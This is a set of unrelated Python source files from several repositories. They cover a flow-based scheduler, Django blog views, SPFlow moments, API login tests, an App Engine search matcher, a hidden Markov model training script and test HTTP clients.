left_max_ix = max(edges[::, 0])
right_max_ix = max(edges[::, 1])
g = nx.DiGraph()
for v in probs_left.keys():
cap = int(probs_left[v]*num_nodes)
g.add_edge(source, v, capacity=cap, weight=1/(cap+1e-3))
for u, v in edges:
g.add_edge(u, v, capacity=np.inf, weight=1)
for v in probs_right.keys():
cap = int(probs_right[v]*num_nodes)
g.add_edge(v, dest, capacity=cap, weight=1/(cap+1e-3))
flowed = 0
while flowed < num_nodes:
# print("Now running networkx max-flow-min-cost " + str(right_max_ix))
# res_dict = nx.max_flow_min_cost(g, source, dest)
res_val, res_dict = nx.maximum_flow(g, source, dest)
flowed = res_val
if np.random.uniform() > 0.5:
h = np.random.choice(left_max_ix) + 1
g[0][h]['capacity'] += 1
else:
v = np.random.choice(np.arange(left_max_ix+1, right_max_ix+1))
g[v][dest]['capacity'] += 1
return res_dict
def tst():
probs_left = {1: .3333, 2: .33333, 3: .33333}
probs_right = {4: .25, 5: .25, 6: .25, 7: .25}
edges = np.array([
[1, 4],
[1, 5],
[2, 4],
[3, 5],
[3, 6],
[3, 7]
])
res = get_schedule(probs_left, probs_right, edges)
return res
def score(flow_dict, probs_left, probs_right):
dest = max(probs_right.keys()) + 1
source_flows = flow_dict[0]
total_flow = sum(source_flows.values())
summ = 0
for k in probs_left.keys():
summ += (source_flows[k]/total_flow-probs_left[k])**2
for k in probs_right.keys():
summ += (probs_right[k] - flow_dict[k][dest]/total_flow)**2
return summ
def best_schedule(n_iter=100):
probs_left = {1: .3333, 2: .33333, 3: .33333}
probs_right = {4: .25, 5: .15, 6: .15, 7: .45}
edges = np.array([
[1, 4],
[1, 5],
[2, 4],
[3, 5],
[3, 6],
[3, 7]
])
min_score = np.inf
best_dict = {}
for _ in range(n_iter):
res = get_schedule(probs_left, probs_right, edges)
candidate_score = score(res, probs_left, probs_right)
if candidate_score < min_score:
min_score = candidate_score
best_dict = res
return best_dict
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] |
blog/views.py | monk-after-90s/diyblog | 0 | 82531 | <reponame>monk-after-90s/diyblog
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import HttpResponseRedirect
from django.shortcuts import render, get_object_or_404
# Create your views here.
from django.urls import reverse
from django.views.generic import DetailView, ListView, CreateView
from blog.forms import BlogUserModelForm
from blog.models import BlogUser, Blog, Comment
def index(request):
return render(request, 'blog/index.html')
class BlogUserDetailView(ListView):
model = Blog
template_name = 'blog/bloguser_detail.html'
def get_queryset(self):
return Blog.objects.filter(author_id=int(self.kwargs['pk']))
def get_context_data(self, *, object_list=None, **kwargs):
context = super().get_context_data(object_list=object_list, **kwargs)
context['bloguser'] = BlogUser.objects.get(pk=int(self.kwargs['pk']))
return context
def register_view(request):
if request.method == 'GET':
form = BlogUserModelForm()
else:
form = BlogUserModelForm(request.POST)
if form.is_valid():
new_blog_user = BlogUser.objects.create_user(
**{key: request.POST[key] for key in BlogUserModelForm.Meta.fields})
new_blog_user.save()
return HttpResponseRedirect(reverse('bloguser-detail', args=[str(new_blog_user.pk)]))
context = {
'form': form
}
return render(request, 'blog/bloguser_form.html', context=context)
class BlogListView(ListView):
model = Blog
paginate_by = 5
class BlogUserListView(ListView):
model = BlogUser
template_name = 'blog/blogger_list.html'
def get_queryset(self):
return BlogUser.objects.filter(blog__id__gt=0)
class BlogDetailView(DetailView):
model = Blog
class CommentDetailView(DetailView):
model = Comment
# @login_required
# def comment_create_view(request, blog_pk: int):
# blog = Blog.objects.get(pk=blog_pk)
# if request.method == 'GET':
# blog = Blog.objects.get(pk=blog_pk)
# form = CommentModelForm()
# context = {
# 'form': form,
# 'blog': blog
# }
# return render(request, 'blog/comment_form.html', context=context)
# else:
# form = CommentModelForm(request.POST)
# if form.is_valid():
# new_comment = Comment.objects.create(
# content=form.cleaned_data['content'],
# blog=blog,
# bloguser=BlogUser.objects.get(pk=(request.user.pk))
# )
# new_comment.save()
# return HttpResponseRedirect(reverse('blog', args=(blog_pk,)))
class CommentCreateView(LoginRequiredMixin, CreateView):
fields = ['content']
model = Comment
def get_context_data(self, **kwargs):
context = super(CommentCreateView, self).get_context_data(**kwargs)
context['blog'] = Blog.objects.get(pk=int(self.kwargs['blog_pk']))
return context
def form_valid(self, form):
form.instance.bloguser = BlogUser.objects.get(pk=int(self.request.user.pk))
form.instance.blog = get_object_or_404(Blog, pk=int(self.kwargs['blog_pk']))
return super(CommentCreateView, self).form_valid(form)
def get_success_url(self):
return reverse('blog', args=(str(self.kwargs['blog_pk']),))
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2
] |
src/spn/structure/leaves/parametric/Moment.py | AmurG/SPFlow | 0 | 130285 | <filename>src/spn/structure/leaves/parametric/Moment.py<gh_stars>0
"""
Created on April 15, 2018
@author: <NAME>
"""
from spn.algorithms.stats.Moments import add_node_moment
from spn.structure.leaves.parametric.Parametric import *
import numpy as np
import logging
logger = logging.getLogger(__name__)
def parametric_moment(node, order=1):
if order > 1:
return NotImplementedError("Higher moments are not implemented yet")
if isinstance(
node,
Gaussian) or isinstance(
node,
Poisson) or isinstance(
node,
MultivariateGaussian):
return node.mean
elif isinstance(node, Uniform):
return (node.start + node.end) / 2
elif isinstance(node, Gamma):
return ValueError("Not Implemented")
elif isinstance(node, LogNormal):
return np.exp(node.mean)
elif isinstance(node, Bernoulli):
return node.p
elif isinstance(node, NegativeBinomial):
return node.p * node.n / (1 - node.p)
elif isinstance(node, Hypergeometric):
return node.n * (node.K / node.N)
elif isinstance(node, Geometric):
return -1 / np.log2(1 - node.p)
elif isinstance(node, Categorical):
raise ValueError("Not Implemented")
elif isinstance(node, Exponential):
return 1 / node.l
else:
raise Exception("Unknown parametric " + str(type(node)))
def add_parametric_moment_support():
add_node_moment(Gaussian, parametric_moment)
add_node_moment(Gamma, parametric_moment)
add_node_moment(LogNormal, parametric_moment)
add_node_moment(Poisson, parametric_moment)
add_node_moment(Bernoulli, parametric_moment)
add_node_moment(Categorical, parametric_moment)
add_node_moment(NegativeBinomial, parametric_moment)
add_node_moment(Hypergeometric, parametric_moment)
add_node_moment(Geometric, parametric_moment)
add_node_moment(Exponential, parametric_moment)
add_node_moment(Uniform, parametric_moment)
add_node_moment(MultivariateGaussian, parametric_moment)
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] |
tests/api/test_security.py | Drakulix/knex | 7 | 65460 | <filename>tests/api/test_security.py
import requests
import os
class TestPOST(object):
def test_main_page(self, flask_api_url):
response = requests.get(flask_api_url + '/')
assert response.status_code == 404
def test_login_fake_user(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='user1', password='password'))
assert response.status_code == 403
def test_login_successful(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='<EMAIL>', password="<PASSWORD>"))
assert response.status_code == 200
def test_login_wrong_password(self, flask_api_url):
session = requests.Session()
response = session.post(flask_api_url + '/api/users/login',
data=dict(email='admin', password='a'))
assert response.status_code == 403
def test_logout(self, flask_api_url, session):
session = requests.Session()
session.post(flask_api_url + '/api/users/login',
data=dict(email='<EMAIL>', password="<PASSWORD>"))
response = session.get(flask_api_url + '/api/users/logout')
assert response.status_code == 200
def test_access_login_required_logged(self, pytestconfig, flask_api_url):
test_manifest = os.path.join(
str(pytestconfig.rootdir),
'tests',
'testmanifests',
'validexample0.json5'
)
with open(test_manifest, 'r', encoding='utf-8') as tf:
data = str(tf.read().replace('\n', ''))
response = requests.post(flask_api_url + "/api/projects",
data=data.encode('utf-8'),
headers={'Content-Type': 'application/json5'})
assert response.status_code == 403
def test_access_login_required_not_logged(self, pytestconfig, flask_api_url):
requests.get(flask_api_url + '/api/users/logout')
test_manifest = os.path.join(
str(pytestconfig.rootdir),
'tests',
'testmanifests',
'validexample0.json5'
)
with open(test_manifest, 'r', encoding='utf-8') as tf:
data = str(tf.read().replace('\n', ''))
response = requests.post(flask_api_url + "/api/projects",
data=data.encode('utf-8'),
headers={'Content-Type': 'application/json5'})
assert response.status_code == 403
def test_get_user(self, session, enter_default_user_users, flask_api_url):
response = enter_default_user_users
assert response.status_code == 200
response = session.get(flask_api_url + '/api/users/' + '<EMAIL>')
assert response.status_code == 200
def test_user_nonexistent(self, flask_api_url):
response = requests.get(flask_api_url + '/api/users/',
data=dict(email='<EMAIL>'))
assert response.status_code == 404
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] |
futoin/cid/tool/bundlermixin.py | futoin/citool | 13 | 93504 | <filename>futoin/cid/tool/bundlermixin.py
#
# Copyright 2015-2020 <NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from ..subtool import SubTool
class BundlerMixIn(SubTool):
__slots__ = ()
def getDeps(self):
return ['bundler']
def _gemName(self):
return self._name
def _installTool(self, env):
self._have_tool = True
tcmd = [env['bundlerBin'], 'add', self._gemName()]
ver = env.get(self._name + 'Ver')
if ver:
tcmd.append('--version={0}'.format(ver))
try:
self._executil.callExternal(tcmd, verbose=False)
# self._executil.callMeaningful(tcmd)
except Exception as e:
self._warn(str(e))
bundlerTools = env.setdefault('bundlerTools', {})
bundlerTools[self._name] = ver
return
cmd = [env['bundlerBin'], 'install']
self._executil.callExternal(cmd, verbose=False)
# self._executil.callMeaningful(cmd)
def installTool(self, env):
if not self._have_tool:
if self._detect.isDisabledToolsSetup(env):
self._errorExit(
'Tool "{0}" must be installed externally (env config)'.format(self._name))
else:
self._warn(
'Auto-installing required "{0}" tool'.format(self._name))
self._installTool(env)
self.initEnv(env)
if not self._have_tool:
self._errorExit('Failed to install "{0}"'.format(self._name))
def updateTool(self, env):
# New version is installed, if not in project
# Otherwise, the project is responsible for updates
self._ensureInstalled(env)
def initEnv(self, env):
ospath = self._ospath
# try newer layout first
bin_path = ospath.join(
env['bundlePath'],
'ruby', '{0}.0'.format(env['rubyVer']),
'bin', self._name)
# fallback to legacy
if not ospath.exists(bin_path):
bin_path = ospath.join(env['bundlePath'], 'bin', self._name)
env[self._name + 'Bin'] = bin_path
if not ospath.exists('Gemfile'):
# Fake to workaround being required outside of project root (e.g. deployment home)
self._have_tool = True
return
self._have_tool = self._have_tool or ospath.exists(bin_path)
def onRun(self, config, svc, args):
env = config['env']
self._ensureInstalled(env)
self._executil.callInteractive([
env['bundlerBin'], 'exec', self._gemName(), '--', svc['path']
] + args)
def _ensureInstalled(self, env):
bin_path = env.get(self._name + 'Bin')
if not bin_path or not self._ospath.exists(bin_path):
self._have_tool = False
self.installTool(env)
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google/appengine/api/search/stub/document_matcher.py | luduvigo/app-blog-code | 0 | 186441 | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""Document matcher for Full Text Search API stub.
DocumentMatcher provides an approximation of the Full Text Search API's query
matching.
"""
from google.appengine.datastore import document_pb
from google.appengine.api.search import query_parser
from google.appengine.api.search import QueryParser
from google.appengine.api.search import search_util
from google.appengine.api.search.stub import tokens
class DocumentMatcher(object):
"""A class to match documents with a query."""
def __init__(self, query, parser, inverted_index):
self._query = query
self._inverted_index = inverted_index
self._parser = parser
def _PostingsForToken(self, token):
"""Returns the postings for the token."""
return self._inverted_index.GetPostingsForToken(token)
def _PostingsForFieldToken(self, field, value):
"""Returns postings for the value occurring in the given field."""
return self._PostingsForToken(
tokens.Token(chars=value.lower(), field_name=field))
def _SplitPhrase(self, phrase):
"""Returns the list of tokens for the phrase."""
phrase = phrase[1:len(phrase) - 1]
return self._parser.TokenizeText(phrase)
def _MatchPhrase(self, field, match, document):
"""Match a textual field with a phrase query node."""
phrase = self._SplitPhrase(query_parser.GetQueryNodeText(match))
if not phrase:
return True
field_text = self._parser.TokenizeText(field.value().string_value())
posting = None
for post in self._PostingsForFieldToken(field.name(), phrase[0].chars):
if post.doc_id == document.id():
posting = post
break
if not posting:
return False
def ExtractWords(token_list):
return (token.chars for token in token_list)
for position in posting.positions:
match_words = zip(ExtractWords(field_text[position:]),
ExtractWords(phrase))
if len(match_words) != len(phrase):
continue
match = True
for doc_word, match_word in match_words:
if doc_word != match_word:
match = False
if match:
return True
return False
def _MatchTextField(self, field, match, document):
"""Check if a textual field matches a query tree node."""
if (match.getType() in (QueryParser.TEXT, QueryParser.NAME) or
match.getType() in search_util.NUMBER_QUERY_TYPES):
matching_docids = [
post.doc_id for post in self._PostingsForFieldToken(
field.name(), query_parser.GetQueryNodeText(match))]
return document.id() in matching_docids
if match.getType() is QueryParser.PHRASE:
return self._MatchPhrase(field, match, document)
if match.getType() is QueryParser.CONJUNCTION:
return all(self._MatchTextField(field, child, document)
for child in match.children)
if match.getType() is QueryParser.DISJUNCTION:
return any(self._MatchTextField(field, child, document)
for child in match.children)
if match.getType() is QueryParser.NEGATION:
return not self._MatchTextField(field, match.children[0], document)
return False
def _MatchDateField(self, field, match, document):
"""Check if a date field matches a query tree node."""
return self._MatchComparableField(
field, match, search_util.DeserializeDate,
search_util.TEXT_QUERY_TYPES, document)
def _MatchNumericField(self, field, match, document):
"""Check if a numeric field matches a query tree node."""
return self._MatchComparableField(
field, match, float, search_util.NUMBER_QUERY_TYPES, document)
def _MatchComparableField(
self, field, match, cast_to_type, query_node_types,
document):
"""A generic method to test matching for comparable types.
Comparable types are defined to be anything that supports <, >, <=, >=, ==
and !=. For our purposes, this is numbers and dates.
Args:
field: The document_pb.Field to test
match: The query node to match against
cast_to_type: The type to cast the node string values to
query_node_types: The query node types that would be valid matches
document: The document that the field is in
Returns:
True iff the field matches the query.
Raises:
UnsupportedOnDevError: Raised when an unsupported operator is used, or
when the query node is of the wrong type.
"""
field_val = cast_to_type(field.value().string_value())
op = QueryParser.EQ
if match.getType() in query_node_types:
try:
match_val = cast_to_type(query_parser.GetQueryNodeText(match))
except ValueError:
return False
elif match.children:
op = match.getType()
try:
match_val = cast_to_type(
query_parser.GetQueryNodeText(match.children[0]))
except ValueError:
return False
else:
return False
if op is QueryParser.EQ:
return field_val == match_val
if op is QueryParser.NE:
return field_val != match_val
if op is QueryParser.GT:
return field_val > match_val
if op is QueryParser.GE:
return field_val >= match_val
if op is QueryParser.LT:
return field_val < match_val
if op is QueryParser.LE:
return field_val <= match_val
raise search_util.UnsupportedOnDevError(
'Operator %s not supported for numerical fields on development server.'
% match.getText())
def _MatchField(self, field_query_node, match, document):
"""Check if a field matches a query tree."""
if isinstance(field_query_node, str):
field = search_util.GetFieldInDocument(document, field_query_node)
else:
field = search_util.GetFieldInDocument(
document, field_query_node.getText())
if not field:
return False
if field.value().type() in search_util.TEXT_DOCUMENT_FIELD_TYPES:
return self._MatchTextField(field, match, document)
if field.value().type() in search_util.NUMBER_DOCUMENT_FIELD_TYPES:
return self._MatchNumericField(field, match, document)
if field.value().type() == document_pb.FieldValue.DATE:
return self._MatchDateField(field, match, document)
raise search_util.UnsupportedOnDevError(
'Matching to field type of field "%s" (type=%d) is unsupported on '
'dev server' % (field.name(), field.value().type()))
def _MatchGlobal(self, match, document):
for field in document.field_list():
if self._MatchField(field.name(), match, document):
return True
return False
def _CheckMatch(self, node, document):
"""Check if a document matches a query tree."""
if node.getType() is QueryParser.CONJUNCTION:
return all(self._CheckMatch(child, document) for child in node.children)
if node.getType() is QueryParser.DISJUNCTION:
return any(self._CheckMatch(child, document) for child in node.children)
if node.getType() is QueryParser.NEGATION:
return not self._CheckMatch(node.children[0], document)
if node.getType() is QueryParser.RESTRICTION:
field, match = node.children
return self._MatchField(field, match, document)
return self._MatchGlobal(node, document)
def Matches(self, document):
return self._CheckMatch(self._query, document)
def FilterDocuments(self, documents):
return (doc for doc in documents if self.Matches(doc))
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] |
analysis/markovs_chain/Python/code_with_comments.py | ilvivl/Python_Project | 2 | 64922 | <reponame>ilvivl/Python_Project<gh_stars>1-10
# В этом файле находится много комментариев, которые Илья должен переправить в тех
import numpy as np
import pandas as pd
import networkx as nx
import matplotlib.pyplot as plt
from pprint import pprint
def forward(pi, A, B, obs):
# Длина последовательности наблюдений, она, очевидно, равна длине последовательностей пройденных
# скрытых состояний
T = len(obs)
# Число скрытых состояний
N = A.shape[0]
# Обозначим \aplha_t(i) = P(o_1, o_2, ... , o_t, s_t = i | \lambda) - вероятность на t-том шаге встретить
# последовательность o_1, o_2, ... , o_t и оказаться в состоянии i. Таким образом для любого i: \alpha_1(i) = P(o_1, s_1 = i | \lambda) =
# P(o_1 | s_1 = i, \lambda) * P(s_1 = i | \lambda) = \pi_i * B[i, o_1]
alpha = np.zeros((T, N))
alpha[0] = pi * B[ : , obs[0]]
# Далее по индукции заполним \alpha_t(i) = P(o_1, o_2, ... , o_t, s_t = i | \lambda) =
# \sum_{j=1}^{N} P(o_1, o_2, ... , o_t, s_{t-1} = j, s_t = i | \lambda) =
# \sum_{j=1}^{N} P(o_t | s_{t-1} = j, s_t = i, o_1, o_2, ... , o_{t-1}, \lambda) *
# P(s_t = i | s_{t-1} = j, o_1, o_2, ... , o_{t-1}, \lambda) * P(s_{t-1} = j, o_1, o_2, ... , o_{t-1}, \lambda) =
# P(o_t | s_t = i, \lambda) \sum_{j=1}^{N} P(s_t = i| o_1, o_2, ... , o_t, s_{t-1} = j, \lambda) P(o_1, o_2, ... , o_{t-1}, s_{t-1} = j, \lambda) =
# B[i, o_t] * \sum_{j=1}^N \alpha_{t-1}(i)A[i, j]
# Доказательство второго равенства будет в pdf
for t in range(1, T):
alpha[t] = alpha[t - 1].dot(A) * B[ : , obs[t]]
# P(obs|\lambda) = \sum_{i=1}^{N} P(o_1, ... , o_T, s_T = i | \lambda) = \sum_{i=1}^{N} \alpha_T(i)
return alpha
def backward(pi, A, B, obs):
# Длина последовательности наблюдений, она, очевидно, равна длине последовательностей пройденных
# скрытых состояний
T = len(obs)
# Число скрытых состояний
N = A.shape[0]
# \beta_{t}(i) = P(o_{t+1}, o_{t+2}, ... , o_{T} | s_t = i, \lambda) - вероятность наблюдаемой части
# последовательных наблюдений o_{t+1}, o_{t+2}, ... , o_{T} при условии, что в момент времени t состояние было i
# и при модели \lambda. \beta_{T}(i) = 1 \forall i
beta = np.zeros((N, T))
beta[ : , T - 1] = 1
# Далее по индукции заполним \beta_t(j) = P(o_{t+1}, o_{t+2}, ... , o_{T}| s_t = j, \lambda) =
# Объяснение следует закинуть в tex
# \[
# \sum_{i=1}^{N} P(o_{t+1}, ... , o_{T}, s_{t+1} = i| s_t = i, \lambda) = \]
# \[ \sum_{i=1}^{N} \dfrac{P(o_{t+1}, ... , o_{T}, s_{t+1} = i, s_t = j, \lambda)}{P(s_t = j, \lambda)} =\]\[ \sum_{i=1}^{N} P(o_{t+1}|o_{t+2} ... , o_{T}, s_{t+1} = i, s_t = j, \lambda) \cdot P(o_{t+2} ... , o_{T}| s_{t+1} = i, s_t = j, \lambda) \cdot \frac{P(s_{t+1} = i, s_t = j, \lambda))}{P(s_t = j, \lambda)} \]
# Согласно свойству марковских цепей: $P(S_t | S_{t-1},O_{t-1},\ldots,S_1, O_1)=P(S_t| S_{t-1})$ и $P(O_t | Q_t,Q_{t-1},O_{t-1},\ldots,S_1,O_1)=P(O_t | S_t)$, тогда $P(o_{t+1}|o_{t+2} ... , o_{T}, s_{t+1} = i, s_t = j, \lambda) = P(o_{t+1} | s_{t+1} = i) = B_i(o_{t+1})$, кроме того легко понять, что $P(o_{t+2} ... , o_{T}| s_{t+1} = i, s_t = j, \lambda) = \beta_{t+1}(i)$ и по формуле Байеса $\frac{P(s_{t+1} = i, s_t = j, \lambda))}{P(s_t = j, \lambda)} = P(s_{t+1} = i | s_{t} = j, \lambda) = a_{ij}$, тогда
# \[ \beta_t(j) = \sum_{i=1}^{N} A[i, j]\beta_{t+1}(j)B[i, obs(t+1)]\]
for t in reversed(range(T - 1)):
for n in range(N):
beta[n , t] = np.sum(beta[ : , t + 1] * A[n , : ] * B[ : , obs[t + 1]])
return beta
def likelihood(pi, A, B, obs_seq):
# P(obs | \lambda) = \sun_{i=1}^{N} P(o_1, ... , o_T, s_T = i | \lambda) = \sum_{i=1}^{N} \aplha_{T}(i)
return forward(pi, A, B, obs_seq)[-1].sum()
def gamma_(pi, A, B, obs_seq):
# Зная \alpha \beta можно посчитать величину \gamma_t(i) = \frac{P(s_t = i, obs | \lambda)}{P(obs | \lambda)} =
# \frac{P(o_1, ... o_t, s_t = i | \lambda)}{P(obs | \lambda)}. Легко доказать, что P(o_1, ... o_t, s_t = i | \lambda) =
# P(o_1, ... o_t | s_t = i, \lambda)P(o_{t+1}, ... o_T | s_t = i, \lambda)P(s_t = i | \lambda) = \alpha_t(i)\beta_t(i)
# Таким образом \gamma_t(i) = \alpha_t(i) \beta_t(i) / P(obs | \lambda). Знаменатель вычислялся ранее
# P(obs|\lambda) = \sum_{i=1}^{N} P(o_1, ... , o_T, s_t = i | \lambda) = \sum_{i=1}^{N} \alpha_T(i)
T = len(obs_seq)
alpha = forward(pi, A, B, obs_seq)
beta = backward(pi, A, B, obs_seq)
gamma = np.multiply(alpha, beta.T)
for t in range(T):
gamma[t] = gamma[t]/np.sum(alpha[t, :] * beta[:, t])
return gamma
def ksi_(alpha, beta, A, B, obs_seq):
# ksi_t(i , j) = P(s-t = i, s_{t+1} = j | obs, \lambda) - вероятность находиться в состоянии i в момент времени t и в состоянии j в
# момент времени t+1 при условии наблюдений obs и модели \lambda
# Число скрытых состояний
N = A.shape[0]
# Длина последовательности наблюдений, она, очевидно, равна длине последовательностей пройденных
# скрытых состояний
T = len(obs_seq)
ksi = np.zeros((T, N, N))
# P = \sum_{i=1}^{N}\sum_{j=1}^{N} \alpha_t(i)A_{ij}B_j(y_{t+1})\beta_{t+1}(i)
for t in range(T - 1):
P = 0
for i in range(N):
for j in range(N):
ksi[t, i, j] = alpha[t, i] * A[i, j] * B[j, obs_seq[t + 1]] * beta[j, t + 1]
P += ksi[t, i, j]
ksi[t, :, :] /= P
for i in range(N):
for j in range(N):
ksi[T - 1, i, j] = alpha[T - 1, i] * A[i, j]
ksi[T - 1, :, :] /= np.sum(ksi[T - 1,: ,: ])
return ksi
def baum_welch(pi, A, B, obs_seq, epohs):
N = A.shape[0]
T = len(obs_seq)
K = np.shape(B)[0]
A_old = A.copy()
B_old = B.copy()
for _ in range(epohs):
alpha = forward(pi, A, B, obs_seq)
beta = backward(pi, A, B, obs_seq)
gamma = gamma_(pi, A, B, obs_seq)
ksi = ksi_(alpha, beta, A, B, obs_seq)
print(ksi)
for i in range(N):
pi[i] = np.sum(ksi[0, i, :])
for j in range(N):
A[i, j] = np.sum(ksi[: T - 1, i, j]) / np.sum(gamma[: T - 1, i])
for k in range(max(obs)):
print(K)
found = (obs_seq == k).nonzero()
print(found)
B[i, k] = np.sum(ksi[found, i, :])/np.sum(ksi[:,i,:])
error = (np.abs(A - A_old)).max() + (np.abs(B - B_old)).max()
return A, B, pi
# TODO: классовая структура
# Представим, что мы переходим только между тремя веб страницами: web_1, web_2 и web_3. Вообще говороя
# состояния необходимо делать с более сложно структурой: кроме веб страниц, состояния будут
# отображать мат ожидание и дисперсиюс корости движения мыши, скорости печати и пр. на данной странице, но
# в данной тестовой версии мы ипользуем в качестве состояний только название веб страницы.
# Легко понять, что в модели цепей Маркова веб страницы является явными состоянием,
# то есть таким состояния, о которых в любой момент времени можно точно сказать,
# находится ли наблюдаемый объект в нем или нет. В противовес явным существуют скрытые,
# но о них будет скзаано позже. Также стоит заметить, что вообще говоря, такая модель цепи Маркова является
# не полной из-а того, что в ней подрузамивается, что все параметры являются дискртными6 когда на самом деле
# правильнее было бы считать скорости нормально распределенными случайнми величиными6 но это уже следующий этап
# Матрица переходов между веб страницами - матрица вероятностей попасть с web_i на web_j
# понятное дело, что сумма вероятностей перейти из состояния web_i во все остальные состояния равняется единице
# Теперь займемся скрытыми состояниями цепи. Скрытыми они называются потому, что мы никогда доподлино не знаем,
# в каком именно стостоянии нахоится пользователь, мы можем только рассуждать о наиболее вероятном состоянии соответсвующему
# пройденному пути
hidden_states = ['good', 'bad']
# # Легко понять, что начальное распределение лучше выбрать равновероятным
pi = [0.5, 0.5]
# # Изначально матрица переходов между скрытыми состояниями также лучше выбрать такой
a_df = pd.DataFrame(columns=hidden_states, index=hidden_states)
a_df.loc[hidden_states[0]] = [0.5, 0.5]
a_df.loc[hidden_states[1]] = [0.5, 0.5]
print(a_df, "\n\n")
# # Создадим теперь матрицу вероятностей наблюдейний, то есть матрицу в которой записаны условные вероятности
# # получить наблюдение o_k^ находиться в состоянии i
# # Матрица имеет размер (M x Q), где M - число скрытых состояний, а Q - число наблюдений.
observable_states = ['o1', 'o2', 'o3']
b_df = pd.DataFrame(columns=observable_states, index=hidden_states)
b_df.loc[hidden_states[0]] = [0.5, 0.4, 0.1]
b_df.loc[hidden_states[1]] = [0.1, 0.3, 0.6]
print(b_df, "\n\n")
# # Последовательность наблюдений поведения пользователя закодируем числами
observ_map = {'o1':0, 'o2':1, 'o3':2}
observ = np.array([1,1,2,1,0,1,2,1,0,2,2,0,1,0,1])
a = a_df.values
b = b_df.values
print(a, b, type(a), type(b))
# HMM = hmm(hidden_states, pi, a, b)
# HMM.viterbi(observ)
# HMM = hmm(hidden_states, pi, a, b)
# HMM.learn(observ)
# print("A:\n", HMM.A)
# print("B:\n",HMM.B)
# print("pi:\n",HMM.pi)
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] |
launchpad/explorer.py | mikbukow/launchpad | 2 | 48254 | <reponame>mikbukow/launchpad
from flask import Blueprint
explorer = Blueprint('explorer', __name__, template_folder='templates')
@explorer.route('/')
def index():
return 'Explorer index'
@explorer.route('/test')
def test():
return 'Explorer test'
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techtest/store/migrations/0001_initial.py | rahulkannojia07/gaming-store-adyen | 0 | 189100 | # Generated by Django 3.2.6 on 2021-08-15 05:38
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ProductDetails',
fields=[
('product_id', models.IntegerField(primary_key=True, serialize=False)),
('product_name', models.CharField(max_length=100)),
('product_price', models.DecimalField(decimal_places=2, max_digits=8)),
],
),
]
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platform/core/tests/base/clients.py | hackerwins/polyaxon | 0 | 44750 | <gh_stars>0
import datetime
import json
import uuid
from collections import Mapping
from urllib.parse import urlparse
from hestia.auth import AuthenticationTypes
from hestia.ephemeral_services import EphemeralServices
from hestia.internal_services import InternalServices
from django.test import Client
from django.test.client import FakePayload
import conf
from db.models.tokens import Token
from factories.factory_users import UserFactory
# Stores the currently valid tokens to check against
from options.registry.core import SECRET_INTERNAL_TOKEN
# pylint:disable=arguments-differ
_valid_tokens = dict()
CONTENT_TYPE_APPLICATION_JSON = 'application/json'
class BaseClient(Client):
"""Base client class."""
def do_request(self,
method,
path,
data=None,
content_type=CONTENT_TYPE_APPLICATION_JSON,
**extra):
if data is None:
data = {}
def validate_data(dvalues):
if not isinstance(dvalues, Mapping):
return
for key, value in dvalues.items():
# Fix UUIDs for convenience
if isinstance(value, uuid.UUID):
dvalues[key] = value.hex
# Fix datetimes
if isinstance(value, datetime.datetime):
dvalues[key] = value.strftime('%Y-%m-%d %H:%M')
if isinstance(data, list):
for d in data:
validate_data(d)
else:
validate_data(data)
if content_type == CONTENT_TYPE_APPLICATION_JSON:
data = json.dumps(data)
request = self.encode_data(method, path, data, content_type, **extra)
return self.request(**request)
def put(self, path, data=None, content_type=CONTENT_TYPE_APPLICATION_JSON, **extra):
"""Construct a PUT request."""
return self.do_request('PUT', path, data, content_type, **extra)
def patch(self, path, data=None, content_type=CONTENT_TYPE_APPLICATION_JSON, **extra):
"""Construct a PATCH request."""
return self.do_request('PATCH', path, data, content_type, **extra)
def post(self, path, data=None, content_type=CONTENT_TYPE_APPLICATION_JSON, **extra):
"""Construct a PATCH request."""
return self.do_request('POST', path, data, content_type, **extra)
def delete(self, path, data=None, content_type=CONTENT_TYPE_APPLICATION_JSON, **extra):
"""Construct a DELETE request."""
return self.do_request('DELETE', path, data, content_type, **extra)
def encode_data(self, http_method, path, data, content_type, **extra):
patch_data = self._encode_data(data, content_type)
parsed = urlparse(path)
request = {
'CONTENT_LENGTH': len(patch_data),
'CONTENT_TYPE': content_type,
'PATH_INFO': self._get_path(parsed),
'QUERY_STRING': parsed[4],
'REQUEST_METHOD': http_method,
'wsgi.input': FakePayload(patch_data),
}
request.update(extra)
return request
class EphemeralClient(BaseClient):
def __init__(self,
token,
authentication_type=AuthenticationTypes.EPHEMERAL_TOKEN,
service=None,
**defaults):
super().__init__(**defaults)
self.service = service or EphemeralServices.RUNNER
self.authorization_header = '{} {}'.format(authentication_type, token)
def request(self, **request):
updated_request = {
'HTTP_AUTHORIZATION': self.authorization_header,
'HTTP_X_POLYAXON_INTERNAL': self.service,
}
if 'HTTP_X_REQUEST_ID' not in request:
request['HTTP_X_REQUEST_ID'] = str(uuid.uuid4())
updated_request.update(request)
return super().request(**updated_request)
class InternalClient(BaseClient):
def __init__(self,
authentication_type=AuthenticationTypes.INTERNAL_TOKEN,
service=None,
**defaults):
super().__init__(**defaults)
self.service = service or InternalServices.HELPER
self.authorization_header = '{} {}'.format(authentication_type,
conf.get(SECRET_INTERNAL_TOKEN))
def request(self, **request):
updated_request = {
'HTTP_AUTHORIZATION': self.authorization_header,
'HTTP_X_POLYAXON_INTERNAL': self.service,
}
if 'HTTP_X_REQUEST_ID' not in request:
